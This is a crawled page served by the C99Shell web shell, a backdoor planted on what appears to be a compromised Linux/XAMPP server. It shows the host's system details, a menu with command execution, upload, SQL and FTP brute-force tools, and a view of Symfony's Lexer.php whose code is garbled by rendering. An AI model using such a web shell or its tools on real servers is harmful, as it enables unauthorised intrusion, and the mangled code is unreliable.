!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/phpmyadmin/vendor/symfony/expression-language/   drwxr-xr-x
Free 11.62 GB of 61.93 GB (18.76%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Lexer.php (4.07 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\ExpressionLanguage;

/**
 * Lexes an expression.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 */
class Lexer
{
    
/**
     * Tokenizes an expression.
     *
     * @return TokenStream
     *
     * @throws SyntaxError
     */
    
public function tokenize(string $expression)
    {
        
$expression str_replace(["\r""\n""\t""\v""\f"], ' '$expression);
        
$cursor 0;
        
$tokens = [];
        
$brackets = [];
        
$end = \strlen($expression);

        while (
$cursor $end) {
            if (
' ' == $expression[$cursor]) {
                ++
$cursor;

                continue;
            }

            if (
preg_match('/[0-9]+(?:\.[0-9]+)?([Ee][\+\-][0-9]+)?/A'$expression$match0$cursor)) {
                
// numbers
                
$number = (float) $match[0];  // floats
                
if (preg_match('/^[0-9]+$/'$match[0]) && $number <= \PHP_INT_MAX) {
                    
$number = (int) $match[0]; // integers lower than the maximum
                
}
                
$tokens[] = new Token(Token::NUMBER_TYPE$number$cursor 1);
                
$cursor += \strlen($match[0]);
            } elseif (
false !== strpos('([{'$expression[$cursor])) {
                
// opening bracket
                
$brackets[] = [$expression[$cursor], $cursor];

                
$tokens[] = new Token(Token::PUNCTUATION_TYPE$expression[$cursor], $cursor 1);
                ++
$cursor;
            } elseif (
false !== strpos(')]}'$expression[$cursor])) {
                
// closing bracket
                
if (empty($brackets)) {
                    throw new 
SyntaxError(sprintf('Unexpected "%s".'$expression[$cursor]), $cursor$expression);
                }

                [
$expect$cur] = array_pop($brackets);
                if (
$expression[$cursor] != strtr($expect'([{'')]}')) {
                    throw new 
SyntaxError(sprintf('Unclosed "%s".'$expect), $cur$expression);
                }

                
$tokens[] = new Token(Token::PUNCTUATION_TYPE$expression[$cursor], $cursor 1);
                ++
$cursor;
            } elseif (
preg_match('/"([^"\\\\]*(?:\\\\.[^"\\\\]*)*)"|\'([^\'\\\\]*(?:\\\\.[^\'\\\\]*)*)\'/As'$expression$match0$cursor)) {
                
// strings
                
$tokens[] = new Token(Token::STRING_TYPEstripcslashes(substr($match[0], 1, -1)), $cursor 1);
                
$cursor += \strlen($match[0]);
            } elseif (
preg_match('/(?<=^|[\s(])not in(?=[\s(])|\!\=\=|(?<=^|[\s(])not(?=[\s(])|(?<=^|[\s(])and(?=[\s(])|\=\=\=|\>\=|(?<=^|[\s(])or(?=[\s(])|\<\=|\*\*|\.\.|(?<=^|[\s(])in(?=[\s(])|&&|\|\||(?<=^|[\s(])matches|\=\=|\!\=|\*|~|%|\/|\>|\||\!|\^|&|\+|\<|\-/A'$expression$match0$cursor)) {
                
// operators
                
$tokens[] = new Token(Token::OPERATOR_TYPE$match[0], $cursor 1);
                
$cursor += \strlen($match[0]);
            } elseif (
false !== strpos('.,?:'$expression[$cursor])) {
                
// punctuation
                
$tokens[] = new Token(Token::PUNCTUATION_TYPE$expression[$cursor], $cursor 1);
                ++
$cursor;
            } elseif (
preg_match('/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/A'$expression$match0$cursor)) {
                
// names
                
$tokens[] = new Token(Token::NAME_TYPE$match[0], $cursor 1);
                
$cursor += \strlen($match[0]);
            } else {
                
// unlexable
                
throw new SyntaxError(sprintf('Unexpected character "%s".'$expression[$cursor]), $cursor$expression);
            }
        }

        
$tokens[] = new Token(Token::EOF_TYPEnull$cursor 1);

        if (!empty(
$brackets)) {
            [
$expect$cur] = array_pop($brackets);
            throw new 
SyntaxError(sprintf('Unclosed "%s".'$expect), $cur$expression);
        }

        return new 
TokenStream($tokens$expression);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.7867 ]--